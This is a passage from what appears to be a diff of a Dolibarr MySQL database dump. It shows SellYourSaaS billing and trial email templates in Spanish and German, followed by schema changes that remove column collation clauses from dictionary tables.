\n\n ',NULL,'1','0',NULL,NULL,NULL,NULL),(69,1,'sellyoursaas','contract','es_ES',0,NULL,NULL,'2023-01-19 12:20:13','EndOfTrial',100,1,'[__[SELLYOURSAAS_NAME]__] - Su periodo de prueba para __REFCLIENT__ ha expirado','\n

Estimado usuario de __[SELLYOURSAAS_NAME]__,

\nLe damos las gracias por tomarse el tiempo de probar __[SELLYOURSAAS_NAME]__. Su periodo de prueba de __REF_CLIENT__ ha expirado. Si desea continuar usando nuestro servicio, le agradeceríamos se conectara a su área de cliente y añada un modo de pago: __[SELLYOURSAAS_NAME]__ dashboard.

\nRecuerde: Su login de acceso a su área de cliente __[SELLYOURSAAS_NAME]__ es __THIRDPARTY_EMAIL__

Su instancia se conservará tanto tiempo como desee. Por el contrario, si no desea continuar usando el servicio, simplemente ignore esta alerta. Sus datos y su cuenta serán eliminados en pocos dias.


\n El equipo __[SELLYOURSAAS_NAME]__
\n -----------------------------------------
\n E-Mail: __[SELLYOURSAAS_MAIN_EMAIL]__
\n\n ',NULL,'1','0',NULL,NULL,NULL,NULL),(70,1,'sellyoursaas','facture_send','es_ES',0,NULL,NULL,'2023-01-19 12:20:13','InvoicePaymentSuccess',100,1,'[__[SELLYOURSAAS_NAME]__] - Pago de la factura __REF__ realizado','\n

Estimado usuario de __[SELLYOURSAAS_NAME]__,

\nEste correo electrónico confirma el pago exitoso (__AMOUNT_FORMATED__) de su cuenta __[SELLYOURSAAS_NAME]__ __REFCLIENT__. Puede iniciar sesión en su area de cliente __[SELLYOURSAAS_NAME]__ para descargar sus facturas en PDF en cualquier momento.
\nRecuerde: Su login de acceso a su área de cliente __[SELLYOURSAAS_NAME]__ es __THIRDPARTY_EMAIL__
\n

\n

Enlace directo a su factura en PDF

Si tiene alguna pregunta relacionada con lo anterior, no dude en ponerse en contacto.

\n
\n\n El equipo __[SELLYOURSAAS_NAME]__
\n -----------------------------------------
\n E-Mail: __[SELLYOURSAAS_MAIN_EMAIL]__
\n\n ',NULL,'1','0',NULL,NULL,NULL,NULL),(71,1,'sellyoursaas','facture_send','es_ES',0,NULL,NULL,'2023-01-19 12:20:13','InvoicePaymentFailure',100,1,'[__[SELLYOURSAAS_NAME]__] - Error en el pago de la factura __REF__','\n

Estimado usuario de __[SELLYOURSAAS_NAME]__,

\nSe produjo un error al intentar realizar el pago de su suscripción a __[SELLYOURSAAS_NAME]__ (factura __REF__ para la aplicación __REFCLIENT__). Actualice su método de pago o comuníquese con su banco o proveedor de métodos de pago.
\n Si no continúa este pago, se suspenderá el acceso a nuestro servicio y es posible que pierda los datos que tenga con nosotros.
\n
\nInicie sesión en su area de client __[SELLYOURSAAS_NAME]__ para actualizar y corregir su tarjeta de crédito lo antes posible para evitar cualquier interupción en el servicio.
\nRecuerde: Su login de acceso a su área de cliente __[SELLYOURSAAS_NAME]__ es __THIRDPARTY_EMAIL__
\n

\n

\n El error que recibimos de su banco fue:
\n __SELLYOURSAAS_PAYMENT_ERROR_DESC__\n


\n\n El equipo __[SELLYOURSAAS_NAME]__
\n -----------------------------------------
\n E-Mail: __[SELLYOURSAAS_MAIN_EMAIL]__
\n\n ',NULL,'1','0',NULL,NULL,NULL,NULL),(72,1,'sellyoursaas','contract','es_ES',0,NULL,NULL,'2023-01-19 12:20:13','CustomerAccountSuspendedTrial',100,1,'[__[SELLYOURSAAS_NAME]__] - Suspensión de la instancia __REFCLIENT__ una vez finalizado el período de prueba','\n

Estimado usuario de __[SELLYOURSAAS_NAME]__,

\nQueremos informarle que su instancia __REFCLIENT__ ha sido suspendida.
Es probable que esto se deba al final de su período de prueba. Si desea continuar usando su aplicación, inicie sesión en su area de cliente __[SELLYOURSAAS_NAME]__ para ingresar a un modo de pago. El acceso a su instancia será restaurado. Si no desea participar con nosotros, simplemente ignore este correo electrónico y su instancia se eliminará en pocos días.


\n El equipo __[SELLYOURSAAS_NAME]__
\n -----------------------------------------
\n E-Mail: __[SELLYOURSAAS_MAIN_EMAIL]__
\n\n ',NULL,'1','0',NULL,NULL,NULL,NULL),(73,1,'sellyoursaas','contract','es_ES',0,NULL,NULL,'2023-01-19 12:20:13','CustomerAccountSuspended',100,1,'[__[SELLYOURSAAS_NAME]__] - Suspensión de la instancia __REFCLIENT__','\n

Estimado usuario de __[SELLYOURSAAS_NAME]__,

\nQueremos informarle que su instancia __REFCLIENT__ ha sido suspendida.
Esto es probablemente debido a un problema de pago. Si desea continuar usando su aplicación, inicie sesión en su area de cliente __[SELLYOURSAAS_NAME]__ para corregir su modo de pago. El acceso a su instancia será restaurado. Si no desea continuar con nosotros, simplemente ignore este correo electrónico y siga los recordatorios, y su instancia y sus datos serán eliminados en unas pocas semanas.


\n
\n El equipo __[SELLYOURSAAS_NAME]__
\n -----------------------------------------
\n E-Mail: __[SELLYOURSAAS_MAIN_EMAIL]__
\n\n ',NULL,'1','0',NULL,NULL,NULL,NULL),(74,1,'sellyoursaas','contract','es_ES',0,NULL,NULL,'2023-01-19 12:20:13','CustomerInstanceUpgraded',100,1,'[__[SELLYOURSAAS_NAME]__] - Actualización de la instancia __REFCLIENT__','\n

Estimado usuario de __[SELLYOURSAAS_NAME]__,

\nDeseamos informarle que su instancia se ha actualizado a una versión estable superior.
Si tiene algún problema después de esta actualización, puede contactarnos a __[SELLYOURSAAS_MAIN_EMAIL]__


\n El equipo __[SELLYOURSAAS_NAME]__
\n -----------------------------------------
\n E-Mail: __[SELLYOURSAAS_MAIN_EMAIL]__
\n\n ',NULL,'1','0',NULL,NULL,NULL,NULL),(75,1,'sellyoursaas','thirdparty','es_ES',0,NULL,NULL,'2023-01-19 12:20:13','YourYearlyPaymentRequest',100,1,'[__[SELLYOURSAAS_NAME]__] - Su solicitud de pago anual para su suscripción __[SELLYOURSAAS_NAME]__','\n

Estimado usuario de __[SELLYOURSAAS_NAME]__,

\nSu solicitud de pago anual para su suscripción al servicio __[SELLYOURSAAS_NAME]__ ha sido registrado. En el próximo vencimiento, el pago será por un año completo..
En el caso del pago con tarjeta, recibirá un e-mail, poco después del comienzo del nuevo período anual para realizar el pago en línea.

\nEl equipo __[SELLYOURSAAS_NAME]__
\n -----------------------------------------
\n EMail: __[SELLYOURSAAS_MAIN_EMAIL]__
\n\n ',NULL,'1','0',NULL,NULL,NULL,NULL),(76,1,'sellyoursaas','facture_send','es_ES',0,NULL,NULL,'2023-01-19 12:20:13','YourPaymentRemind',100,1,'[__[SELLYOURSAAS_NAME]__] - Pago de renovación de su suscripción a __[SELLYOURSAAS_NAME]__','\n

Estimado usuario de __[SELLYOURSAAS_NAME]__,

\nSalvo error por nuestra parte, la factura __REF__ de su suscripción al servicio __[SELLYOURSAAS_NAME]__ aún no ha sido pagada. Aquí hay un recordatorio del enlace para descargar la facutura y hacer el pago en línea (el período cubierto aparece en la factura). Le recomendamos que realice el pago dentro de los 7 días para evitar la suspensión del servicio.
__ONLINE_PAYMENT_URL__&suffix=__[SELLYOURSAAS_NAME]__

\nEl equipo __[SELLYOURSAAS_NAME]__
\n -----------------------------------------
\n EMail: __[SELLYOURSAAS_MAIN_EMAIL]__
\n\n ',NULL,'1','0',NULL,NULL,NULL,NULL),(77,1,'sellyoursaas','facture_send','es_ES',0,NULL,NULL,'2023-01-19 12:20:13','YourLinkForYourPayment',100,1,'[__[SELLYOURSAAS_NAME]__] - Solicitud de pago de su suscripción __[SELLYOURSAAS_NAME]__','\n

Estimado usuario de __[SELLYOURSAAS_NAME]__,

\nComienza un nuevo período para su suscripción al servicio __[SELLYOURSAAS_NAME]__. Aquí está el enlace para descargar su factura y realizar el pago en línea (el período cubierto aparece en la factura). Le recomendamos que pague dentro de los 15 días para evitar la suspensión del servicio.
__ONLINE_PAYMENT_URL__&suffix=__[SELLYOURSAAS_NAME]__

\nEl equipo __[SELLYOURSAAS_NAME]__
\n -----------------------------------------
\n EMail: __[SELLYOURSAAS_MAIN_EMAIL]__
\n\n ',NULL,'1','0',NULL,NULL,NULL,NULL),(78,1,'sellyoursaas','thirdparty','es_ES',0,NULL,NULL,'2023-01-19 12:20:13','(AlertCreditCardExpiration)',100,1,'[__[SELLYOURSAAS_NAME]__] - Caducidad de su tarjeta bancaria','\n

Estimado usuario de __[SELLYOURSAAS_NAME]__,

\nQueríamos informarle que su método de pago (tarjeta bancaria ....__CARD_LAST4__) caducará pronto.
\n \nInicie sesión en su área de cliente __[SELLYOURSAAS_NAME]__ para actualizar su información de pago lo antes posible a fin de evitar cualquier interrupción del servicio.
\nRappel: Le login de votre espace client est __THIRDPARTY_EMAIL__Recordatorio: el inicio de sesión de su área de cliente es __THIRDPARTY_EMAIL__
\n

\n

Si tiene alguna pregunta sobre este punto, no dude en ponerse en contacto con nosotros.

\n
\n El equipo __[SELLYOURSAAS_NAME]__
\n -----------------------------------------
\n EMail: __[SELLYOURSAAS_MAIN_EMAIL]__
\n\n ',NULL,'1','0',NULL,NULL,NULL,NULL),(79,1,'sellyoursaas','contract','de_DE',0,NULL,NULL,'2023-01-19 12:20:13','InstanceDeployed',100,1,'Willkommen beim __[SELLYOURSAAS_NAME]__ - Ihre Instanz __REFCLIENT__ steht bereit','\n

Herzlich willkommen,

\nwir freuen uns, Sie als neuen Nutzer des __[SELLYOURSAAS_NAME]__ als Plattform für das Cloud-Angebot __PACKAGELABEL__ zu begrüßen.\n
\nIhre Anwendung wurde installiert und für Sie eingerichtet und steht jetzt zur Nutzung bereit.\nFür den Start hier einige Informationen:\n \n

Ihre Instanz __PACKAGELABEL__ :\n

\n
Ihr __[SELLYOURSAAS_MAIN_EMAIL]__-Kundenkonto:\n \n \n
__EMAIL_FOOTER__

\n Freundliche Grüße,
\n Ihr __[SELLYOURSAAS_NAME]__-Team
\n -----------------------------------------
\n E-Mail: __[SELLYOURSAAS_MAIN_EMAIL]__
\n\n ',NULL,'1','0',NULL,NULL,NULL,NULL),(80,1,'sellyoursaas','contract','de_DE',0,NULL,NULL,'2023-01-19 12:20:13','InstanceUndeployed',100,1,'[__[SELLYOURSAAS_NAME]__] - Löschung Ihrer Instanz __REFCLIENT__','\n

Lieber __[SELLYOURSAAS_NAME]__-Nutzer,

\nSie haben in Ihrem __[SELLYOURSAAS_NAME]__-Kundenkonto darum gebeten, Ihre Instanz __REFCLIENT__ zu löschen.\n
\nIhre Instanz wurde jetzt gesperrt und die Daten werden in den nächsten Tagen automatisch gelöscht. Sollen die Daten sofort gelöscht werden, klicken Sie bitte auf diesen Link:
Ich wünsche die sofortige Löschun von __REFCLIENT__ \n \n

\n Freundliche Grüße,
\n Ihr __[SELLYOURSAAS_NAME]__-Team
\n -----------------------------------------
\n E-Mail: __[SELLYOURSAAS_MAIN_EMAIL]__
\n\n ',NULL,'1','0',NULL,NULL,NULL,NULL),(81,1,'sellyoursaas','contract','de_DE',0,NULL,NULL,'2023-01-19 12:20:13','GentleTrialExpiringReminder',100,1,'[__[SELLYOURSAAS_NAME]__] - Ihr Probezeitraum für __REFCLIENT__ läuft bald ab','\n

Lieber __[SELLYOURSAAS_NAME]__-Nutzer,

\nDies ist eine Erinnerung, dass Ihr Probezeitraum für die Instanz __REFCLIENT__ in kürze abläuft (__SELLYOURSAAS_EXPIRY_DATE__). Falls Sie diese Instanz weiter nutzen möchten, loggen Sie sich bitte im __[SELLYOURSAAS_NAME]__-Kundenkonto ein und fügen ein Zahlungsmittel hinzu (Kreditkarte):\n

\n

\nHier klicken, um zum Kundenkonto zu gelangen: __[SELLYOURSAAS_ACCOUNT_URL]__
\nErinnerung: Ihr Login für das Kundenkonto lautet __THIRDPARTY_EMAIL__

\nFalls Sie bereits vor kurzem ein Zahlungsmittel hinterlegt haben, ignorieren Sie diese E-Mail bitte.
\n

\n
\n Freundliche Grüßé,
\n Ihr __[SELLYOURSAAS_NAME]__-Team
\n -----------------------------------------
\n EMail: __[SELLYOURSAAS_MAIN_EMAIL]__
\n\n ',NULL,'1','0',NULL,NULL,NULL,NULL),(82,1,'sellyoursaas','contract','de_DE',0,NULL,NULL,'2023-01-19 12:20:13','EndOfTrial',100,1,'[__[SELLYOURSAAS_NAME]__] - Ihr Probezeitraum für __REFCLIENT__ ist abgelaufen','\n

Lieber __[SELLYOURSAAS_NAME]__-Nutzer,

\nVielen Dank, dass Sie sich die Zeit genommen haben, Leistungen des __[SELLYOURSAAS_NAME]__ auszuprobieren. Ihr Probezeitraum für die Instanz __REF_CLIENT__ ist jetzt abgelaufen. Falls Sie die Instanz weiterhin nutzen möchten, loggen Sie sich bitte im Kundenkonto ein und hinterlegen ein Zahlungsmittel: __[SELLYOURSAAS_NAME]__-Kundenkonto.

\nErinnerung: Ihr Login zum __[SELLYOURSAAS_NAME]__-Kundenkonto login lautet __THIRDPARTY_EMAIL__

Falls Sie die Instanz nicht weiter nutzen wollen, ist keine weitere Aktion erforderlich: Ihre Daten werden innerhalb der nächsten tage automatisch gelöscht.


\n Freundliche Grüße,
\n Ihr __[SELLYOURSAAS_NAME]__-Team
\n -----------------------------------------
\n E-Mail: __[SELLYOURSAAS_MAIN_EMAIL]__
\n\n ',NULL,'1','0',NULL,NULL,NULL,NULL),(83,1,'sellyoursaas','facture_send','de_DE',0,NULL,NULL,'2023-01-19 12:20:13','InvoicePaymentSuccess',100,1,'[__[SELLYOURSAAS_NAME]__] - Erfolgreiche Bezahlung der Rechnung __REF__','\n

Lieber __[SELLYOURSAAS_NAME]__-Nutzer,

\nHiermit bestätigen wir die erfolgreiche Zahlung von (__AMOUNT_FORMATED__) für Ihre __[SELLYOURSAAS_NAME]__ Instanz __REFCLIENT__. Um Ihre Rechnungen herunterzuladen, können Sie sich jederzeit im __[SELLYOURSAAS_NAME]__-Kundenkonto einloggen.
\nErinnerung: Ihr Login zum __[SELLYOURSAAS_NAME]__-Kundenkonto lautet __THIRDPARTY_EMAIL__
\n

\n

Direkter Link um diese Rechnung als PDF herunterzuladen

Bei Fragen zögern Sie bitte nicht uns zu kontaktieren.

\n
\n\n Freundliche Grüße,
\n Ihr __[SELLYOURSAAS_NAME]__-Team
\n -----------------------------------------
\n E-Mail: __[SELLYOURSAAS_MAIN_EMAIL]__
\n\n ',NULL,'1','0',NULL,NULL,NULL,NULL),(84,1,'sellyoursaas','facture_send','de_DE',0,NULL,NULL,'2023-01-19 12:20:13','InvoicePaymentFailure',100,1,'[__[SELLYOURSAAS_NAME]__] - Fehler bei der Bezahlung der Rechnung __REF__','\n

Lieber __[SELLYOURSAAS_NAME]__-Nutzer,

\nEin Versuch, die Bezahlung für Ihre Leistungen des __[SELLYOURSAAS_NAME]__ vorzunehmen (Rechnung __REF__ für die Instanz __REFCLIENT__) ist fehlgeschlagen. Bitte aktualisieren Sie das hinterlegte Zahlungsmittel oder kontaktieren Sie Ihre Bank bzw. Kreditkartenherausgeber.
\n Sollte die Bezahlung auch weiterhin nicht möglich sein, wird der Zugang zu Ihrer Instanz automatisch gesperrt und die Daten nach einer weiteren Übergangsfrist gelöscht.
\n
\nBitte loggen Sie sich im __[SELLYOURSAAS_NAME]__-Kundenkonto ein, um das hinterlegt Zahlungsmittel so schnell wie möglich zu aktualisieren um eine Unterbrechung der Leistung zu vermeiden.
\nErinnerung: Ihr Login zum __[SELLYOURSAAS_NAME]__-Kundenkonto lautet __THIRDPARTY_EMAIL__
\n

\n

\n Die Fehlermeldung bei der Zahlungsdurchführung lautet:
\n __SELLYOURSAAS_PAYMENT_ERROR_DESC__\n


\n\n Freundliche Grüße,
\n Ihr __[SELLYOURSAAS_NAME]__-Team
\n -----------------------------------------
\n E-Mail: __[SELLYOURSAAS_MAIN_EMAIL]__
\n\n ',NULL,'1','0',NULL,NULL,NULL,NULL),(85,1,'sellyoursaas','contract','de_DE',0,NULL,NULL,'2023-01-19 12:20:13','CustomerAccountSuspendedTrial',100,1,'[__[SELLYOURSAAS_NAME]__] - Sperrung der Instanz __REFCLIENT__ nach Ablauf des Probezeitraums','\n

Lieber __[SELLYOURSAAS_NAME]__-Nutzer,

\nWir möchten Sie darüber informieren, dass Ihre Instanz __REFCLIENT__ gesperrt wurde.
Der Grund hierfür ist in der Regel der Ablauf Ihres Probezeitraums. Falls Sie Ihre Instanz weiterhin nutzen möchten, loggen Sie sich in Ihr __[SELLYOURSAAS_NAME]__-Kundenkonto ein, um ein Zahlungsmittel zu hinterlegen. Danach wird die Sperrung wieder aufgehoben und der Zugang ist wieder möglich. Falls Sie die Instanz nicht weiter nutzen möchten, müssen Sie nichts weiter tun: Ihre Instanz und Ihre Daten werden in den kommenden Tagen automatisch gelöscht.


\n Freundliche Grüße,
\n Ihr __[SELLYOURSAAS_NAME]__-Team
\n -----------------------------------------
\n E-Mail: __[SELLYOURSAAS_MAIN_EMAIL]__
\n\n ',NULL,'1','0',NULL,NULL,NULL,NULL),(86,1,'sellyoursaas','contract','de_DE',0,NULL,NULL,'2023-01-19 12:20:13','CustomerAccountSuspended',100,1,'[__[SELLYOURSAAS_NAME]__] - Sperrung der Instanz __REFCLIENT__','\n

Lieber __[SELLYOURSAAS_NAME]__-Nutzer,

\nWir möchten Sie darüber informieren, dass Ihre Instanz __REFCLIENT__ gesperrt wurde.
Der Grund hierfür ist in der Regel ein Problem bei der Zahlungsabwicklung. Falls Sie Ihre Instanz weiter nutzen möchten, loggen Sie sich bitte in Ihr __[SELLYOURSAAS_NAME]__-Kundenkonto ein, um das hinterlegte Zahlungsmittel zu aktualisieren. Die Sperre wird dann aufgehoben und der Zugang wieder ermöglicht. Falls Sie unsere leistungen nicht mehr nutzen möchten, können Sie diese und folgewnde Erinnerungen ignorieren: Ihre Instanz und die hinterlegten Daten werden in wenigen Wochen automatisch gelöscht.


\n
\n Freundliche Grüße,
\n Ihr __[SELLYOURSAAS_NAME]__-Team
\n -----------------------------------------
\n E-Mail: __[SELLYOURSAAS_MAIN_EMAIL]__
\n\n ',NULL,'1','0',NULL,NULL,NULL,NULL),(87,1,'sellyoursaas','contract','de_DE',0,NULL,NULL,'2023-01-19 12:20:13','CustomerInstanceUpgraded',100,1,'[__[SELLYOURSAAS_NAME]__] - Upgrade der Instanz __REFCLIENT__','\n

Lieber __[SELLYOURSAAS_NAME]__-Nutzer,

\nWir möchten Sie darüber informieren, dass Ihre Instanz auf eine neuere, stabile Version aktualisiert wurde.
Sollten Sie nach dem Upgrade Probleme feststellen, können Sie uns unter __[SELLYOURSAAS_MAIN_EMAIL]__ oder über Ihr Kundenkonto kontaktieren.


\n Freundliche Grüße,
\n Ihr __[SELLYOURSAAS_NAME]__-Team
\n -----------------------------------------
\n EMail: __[SELLYOURSAAS_MAIN_EMAIL]__
\n\n ',NULL,'1','0',NULL,NULL,NULL,NULL),(88,1,'sellyoursaas','thirdparty','de_DE',0,NULL,NULL,'2023-01-19 12:20:13','YourYearlyPaymentRequest',100,1,'[__[SELLYOURSAAS_NAME]__] - Ihr gewünschter Wechsel zur jährlichen Zahlweise für Leistungen im __[SELLYOURSAAS_NAME]__','\n

Lieber __[SELLYOURSAAS_NAME]__-Nutzer,

\nWir haben Ihre Anfrage, die Zahlweise für Leistungen des __[SELLYOURSAAS_NAME]__ auf jährliche Zahlung umzustellen, erhalten. Ab dem nächsten Zahlungslauf werden die Zahlungen jeweils für ein Jahr im Voraus erfolgen.
Für eine Zahlung per Kreditkarte erhalten Sie eine E-Mail mit Angaben, wie Sie die Bezahlung online vornehmen können.

\nIhr __[SELLYOURSAAS_NAME]__-Team
\n -----------------------------------------
\n EMail: __[SELLYOURSAAS_MAIN_EMAIL]__
\n\n ',NULL,'1','0',NULL,NULL,NULL,NULL),(89,1,'sellyoursaas','facture_send','de_DE',0,NULL,NULL,'2023-01-19 12:20:13','YourPaymentRemind',100,1,'[__[SELLYOURSAAS_NAME]__] - Erinnerung: Bitte denken Sie an die Zahlung Ihrer __[SELLYOURSAAS_NAME]__-Leistungen','\n

Lieber __[SELLYOURSAAS_NAME]__-Nutzer,

\nNach den uns derzeit vorliegenden Informationen wurde die Rechnung __REF__ für Leistungen des __[SELLYOURSAAS_NAME]__ bisher nicht beglichen. Dies ist eine Erinnerung, die Rechnung herunterzuladen. Sie können die Zahlung über den angegebenen Link online vornehmen (der betreffende Leistungszeitraum ist auf der Rechnung aufgeführt). Wir empfehlen, die Zahlung innerhalb der nächsten sieben Tage vorzunehmen, um eine Sperrung der Instanz zu vermeiden.
__ONLINE_PAYMENT_URL__&suffix=__[SELLYOURSAAS_NAME]__

\nIhr __[SELLYOURSAAS_NAME]__-Team
\n -----------------------------------------
\n E-Mail: __[SELLYOURSAAS_MAIN_EMAIL]__
\n\n ',NULL,'1','0',NULL,NULL,NULL,NULL),(90,1,'sellyoursaas','facture_send','de_DE',0,NULL,NULL,'2023-01-19 12:20:13','YourLinkForYourPayment',100,1,'[__[SELLYOURSAAS_NAME]__] - Neue Rechnung für Leistungen im __[SELLYOURSAAS_NAME]__ mit der Bitte um Bezahlung','\n

Lieber __[SELLYOURSAAS_NAME]__-Nutzer,

\nA new period will start for your subscription to __[SELLYOURSAAS_NAME]__ service. This is the link to download your invoice and to use the pay online your subscription (the covered period appears on the invoice). We recommend you to pay within a delay of 15 days to avoid any suspension of service.
__ONLINE_PAYMENT_URL__&suffix=__[SELLYOURSAAS_NAME]__

\nThe __[SELLYOURSAAS_NAME]__ Team
\n -----------------------------------------
\n EMail: __[SELLYOURSAAS_MAIN_EMAIL]__
\n\n ',NULL,'1','0',NULL,NULL,NULL,NULL),(91,1,'sellyoursaas','thirdparty','de_DE',0,NULL,NULL,'2023-01-19 12:20:13','(AlertCreditCardExpiration)',100,1,'[__[SELLYOURSAAS_NAME]__] - Ihre Kreditkarte läuft in Kürze ab','\n

Lieber __[SELLYOURSAAS_NAME]__-Nutzer,

\nWir möchten Sie darüber informieren, dass Ihr hinterlegtes Zahlungsmittel (Kreditkarte ....__CARD_LAST4__) in Kürze abläuft.
\n \n Bitte loggen Sie sich in Ihr __[SELLYOURSAAS_NAME]__-Kundenkonto ein, um Ihre Kreditkarteninformationen so schnell wie möglich zu aktualisieren, um einen unterbrechungsfreien Service sicherzustellen.
\nErinnerung: Ihr Login für das Kundenkonto lautet __THIRDPARTY_EMAIL__
\n

\n

Bei Fragen zögern Sie nicht uns zu kontaktieren.

\n
\n\n Freundliche Grüße,
\n Ihr __[SELLYOURSAAS_NAME]__-Team
\n -----------------------------------------
\n E-Mail: __[SELLYOURSAAS_MAIN_EMAIL]__
\n\n ',NULL,'1','0',NULL,NULL,NULL,NULL),(92,1,NULL,'project','en_US',0,NULL,NULL,'2023-02-10 12:25:02','aaa',1,1,'aaa','Bonjour
\r\n
\r\nNous avons reçue une demande sur GLPI. Elle est référencé sous le numéro __REF__
\r\n
\r\nJe suis votre interlocuteur, je m'appelle __USER_FIRSTNAME__
\r\n
\r\n__USER_SIGNATURE__  ',NULL,'1','0',NULL,NULL,NULL,NULL),(93,1,NULL,'member','fr_FR',0,NULL,NULL,'2023-03-03 10:48:42','hfghgf',1,1,'hhh','ggg',NULL,'1','0',NULL,NULL,NULL,NULL); /*!40000 ALTER TABLE `llx_c_email_templates` ENABLE KEYS */; UNLOCK TABLES; @@ -2142,7 +1797,7 @@ DROP TABLE IF EXISTS `llx_c_exp_tax_cat`; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `llx_c_exp_tax_cat` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, - `label` varchar(128) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `label` varchar(128) DEFAULT NULL, `entity` int(11) NOT NULL DEFAULT 1, `active` int(11) NOT NULL DEFAULT 1, PRIMARY KEY (`rowid`) @@ -2196,16 +1851,16 @@ DROP TABLE IF EXISTS `llx_c_field_list`; CREATE TABLE `llx_c_field_list` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), - `element` varchar(64) COLLATE utf8mb3_unicode_ci NOT NULL, + `element` varchar(64) NOT NULL, `entity` int(11) NOT NULL DEFAULT 1, - `name` varchar(32) COLLATE utf8mb3_unicode_ci NOT NULL, - `alias` varchar(32) COLLATE utf8mb3_unicode_ci NOT NULL, - `title` varchar(32) COLLATE utf8mb3_unicode_ci NOT NULL, - `align` varchar(6) COLLATE utf8mb3_unicode_ci DEFAULT 'left', + `name` varchar(32) NOT NULL, + `alias` varchar(32) NOT NULL, + `title` varchar(32) NOT NULL, + `align` varchar(6) DEFAULT 'left', `sort` tinyint(4) NOT NULL DEFAULT 1, `search` tinyint(4) NOT NULL DEFAULT 0, `visible` tinyint(4) NOT NULL DEFAULT 1, - `enabled` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT '1', + `enabled` varchar(255) DEFAULT '1', `rang` int(11) DEFAULT 0, PRIMARY KEY (`rowid`) ) ENGINE=InnoDB AUTO_INCREMENT=9 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; @@ -2230,11 +1885,11 @@ DROP TABLE IF EXISTS `llx_c_format_cards`; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `llx_c_format_cards` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, - `code` varchar(50) COLLATE utf8mb3_unicode_ci NOT NULL, - `name` varchar(50) COLLATE utf8mb3_unicode_ci NOT NULL, - `paper_size` varchar(20) COLLATE utf8mb3_unicode_ci NOT NULL, - `orientation` varchar(1) COLLATE utf8mb3_unicode_ci NOT NULL, - `metric` varchar(5) COLLATE utf8mb3_unicode_ci NOT NULL, + `code` varchar(50) NOT NULL, + `name` varchar(50) NOT NULL, + `paper_size` varchar(20) NOT NULL, + `orientation` varchar(1) NOT NULL, + `metric` varchar(5) NOT NULL, `leftmargin` double(24,8) NOT NULL, `topmargin` double(24,8) NOT NULL, `nx` int(11) NOT NULL, @@ -2272,10 +1927,10 @@ CREATE TABLE `llx_c_forme_juridique` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, `code` int(11) NOT NULL, `fk_pays` int(11) NOT NULL, - `libelle` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `libelle` varchar(255) DEFAULT NULL, `isvatexempted` tinyint(4) NOT NULL DEFAULT 0, `active` tinyint(4) NOT NULL DEFAULT 1, - `module` varchar(32) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `module` varchar(32) DEFAULT NULL, `position` int(11) NOT NULL DEFAULT 0, PRIMARY KEY (`rowid`), UNIQUE KEY `uk_c_forme_juridique` (`code`) @@ -2301,8 +1956,8 @@ DROP TABLE IF EXISTS `llx_c_holiday_types`; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `llx_c_holiday_types` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, - `code` varchar(16) COLLATE utf8mb3_unicode_ci NOT NULL, - `label` varchar(255) COLLATE utf8mb3_unicode_ci NOT NULL, + `code` varchar(16) NOT NULL, + `label` varchar(255) NOT NULL, `affect` int(11) NOT NULL, `delay` int(11) NOT NULL, `newbymonth` double(8,5) NOT NULL DEFAULT 0.00000, @@ -2334,8 +1989,8 @@ DROP TABLE IF EXISTS `llx_c_hrm_department`; CREATE TABLE `llx_c_hrm_department` ( `rowid` int(11) NOT NULL, `pos` tinyint(4) NOT NULL DEFAULT 0, - `code` varchar(16) COLLATE utf8mb3_unicode_ci NOT NULL, - `label` varchar(128) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `code` varchar(16) NOT NULL, + `label` varchar(128) DEFAULT NULL, `active` tinyint(4) NOT NULL DEFAULT 1, PRIMARY KEY (`rowid`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; @@ -2361,8 +2016,8 @@ DROP TABLE IF EXISTS `llx_c_hrm_function`; CREATE TABLE `llx_c_hrm_function` ( `rowid` int(11) NOT NULL, `pos` tinyint(4) NOT NULL DEFAULT 0, - `code` varchar(16) COLLATE utf8mb3_unicode_ci NOT NULL, - `label` varchar(128) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `code` varchar(16) NOT NULL, + `label` varchar(128) DEFAULT NULL, `c_level` tinyint(4) NOT NULL DEFAULT 0, `active` tinyint(4) NOT NULL DEFAULT 1, PRIMARY KEY (`rowid`) @@ -2390,17 +2045,17 @@ CREATE TABLE `llx_c_hrm_public_holiday` ( `id` int(11) NOT NULL AUTO_INCREMENT, `entity` int(11) NOT NULL DEFAULT 0, `fk_country` int(11) DEFAULT NULL, - `code` varchar(62) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `dayrule` varchar(64) COLLATE utf8mb3_unicode_ci DEFAULT '', + `code` varchar(62) DEFAULT NULL, + `dayrule` varchar(64) DEFAULT '', `day` int(11) DEFAULT NULL, `month` int(11) DEFAULT NULL, `year` int(11) DEFAULT NULL, `active` int(11) DEFAULT 1, - `import_key` varchar(14) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `import_key` varchar(14) DEFAULT NULL, PRIMARY KEY (`id`), UNIQUE KEY `uk_c_hrm_public_holiday` (`entity`,`code`), UNIQUE KEY `uk_c_hrm_public_holiday2` (`entity`,`fk_country`,`dayrule`,`day`,`month`,`year`) -) ENGINE=InnoDB AUTO_INCREMENT=75 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; +) ENGINE=InnoDB AUTO_INCREMENT=99 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; -- @@ -2409,7 +2064,7 @@ CREATE TABLE `llx_c_hrm_public_holiday` ( LOCK TABLES `llx_c_hrm_public_holiday` WRITE; /*!40000 ALTER TABLE `llx_c_hrm_public_holiday` DISABLE KEYS */; -INSERT INTO `llx_c_hrm_public_holiday` VALUES 